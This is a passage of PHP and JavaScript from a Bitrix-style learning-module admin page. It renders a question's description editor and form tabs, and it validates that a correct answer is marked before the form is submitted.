<?CFileMan::AddHTMLEditorFrame(
"DESCRIPTION",
$str_DESCRIPTION,
"DESCRIPTION_TYPE",
$str_DESCRIPTION_TYPE,
array('width' => '100%', 'height' => '500'),
"N",
0,
"",
"",
false,
true,
false,
array('toolbarConfig' => CFileman::GetEditorToolbarConfig("learning_".(defined('BX_PUBLIC_MODE') && BX_PUBLIC_MODE == 1 ? 'public' : 'admin')))
);?>
</td>
</tr>
<?else:?>
<tr>
<td align="center"><?echo GetMessage("LEARNING_DESC_TYPE")?>:</td>
<td>
<input type="radio" name="DESCRIPTION_TYPE" value="text"<?if($str_DESCRIPTION_TYPE!="html")echo " checked"?>> <?echo GetMessage("LEARNING_DESC_TYPE_TEXT")?>
<input type="radio" name="DESCRIPTION_TYPE" value="html"<?if($str_DESCRIPTION_TYPE=="html")echo " checked"?>> <?echo GetMessage("LEARNING_DESC_TYPE_HTML")?>
</td>
</tr>
<tr>
<td colspan="2">
<textarea style="width:100%; height:250px;" name="DESCRIPTION" wrap="off"><?echo $str_DESCRIPTION?></textarea>
</td>
</tr>
<?endif?>
<?php $tabControl->EndCustomField("DESCRIPTION");?>
<?
$tabControl->BeginNextFormTab();
$tabControl->BeginCustomField("UFS", '', false);
$USER_FIELD_MANAGER->EditFormShowTab('LEARNING_QUESTIONS', $bVarsFromForm, $ID);
$tabControl->EndCustomField("UFS");
$tabControl->Buttons(
Array("back_url" =>
$from == "learn_admin"
?
"learn_unilesson_admin.php?lang=" . LANG . '&LESSON_PATH=' . $uriParentLessonPath . GetFilterParams("filter_", false) . "&from=learn_admin"
:
"learn_question_admin.php?lang=".LANG . '&LESSON_PATH=' . $uriLessonPath . GetFilterParams("filter_", false)
)
);
$tabControl->arParams["FORM_ACTION"] = $APPLICATION->GetCurPage()."?lang=" . LANG . '&LESSON_PATH=' . $uriLessonPath . GetFilterParams("filter_");
$tabControl->Show();?>
<?$tabControl->ShowWarnings($tabControl->GetName(), $message);?>
<script type="text/javascript">
function OnSubmit()
{
var form = document.forms['questionTabControl'];
var ids = form.elements['ANSWER_HIDDEN_ID[]'];
//Text or Sorting
if (form.elements['QUESTION_TYPE'].value == "T" || form.elements['QUESTION_TYPE'].value == "R")
{
return true;
}
//Single
else if (form.elements['QUESTION_TYPE'].value == "S")
{
el = form.elements['ANSWER_CORRECT'];
for(i=0; i<el.length; i++)
{
if (el[i].checked == true && form.elements['ANSWER_'+el[i].value+'_ANSWER'].value != "")
return true;
}
}
//Multple
else if (form.elements['QUESTION_TYPE'].value == "M")
{
for (i=0; i < ids.length; i++)
{
if (form.elements['ANSWER_'+ids[i].value+'_CORRECT'].checked == true && form.elements['ANSWER_'+ids[i].value+'_ANSWER'].value != "")
return true;
}
}
return confirm("<?=GetMessage("LEARNING_CONFIRM_CHECK_ANSWER")?>");
}
function CheckAnswer()
{
var form = document.forms['questionTabControl'];
for (i=0; ; i++)
{
var el = form.elements['ANSWER_n'+i+'_ANSWER'];
if (el)
{
if (el.value == "")
continue;
else
return true;
}
else
return false;
}
return false;
}
function CheckRightAnswer()
{
var form = document.forms['questionTabControl'];
var answer = form.elements['ANSWER_CORRECT'];
if (answer)
{
for(i=0; i<answer.length; i++)
{
if (answer[i].checked == true)
return true;
}
}
else
{
for (i=0; ; i++)
{
var el = form.elements['ANSWER_n'+i+'_CORRECT'];
if (el)
{
if (el.checked == true)
return true;
}
else
return false;
}
}
return false;
}
</script>
<?php
else://!bBadCourse
$aContext = array(
array(
"ICON" => "btn_list",
"TEXT"=>GetMessage("MAIN_ADMIN_MENU_LIST"),
"LINK"=>"learn_unilesson_admin.php?lang=" . LANG . '&LESSON_PATH=' . $uriParentLessonPath . GetFilterParams("filter_"),
"TITLE"=>GetMessage("LEARNING_BACK_TO_ADMIN")
),
);
$context = new CAdminContextMenu($aContext);
$context->Show();
CAdminMessage::ShowMessage(GetMessage("LEARNING_BAD_COURSE"));
endif;
require($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/epilog_admin.php");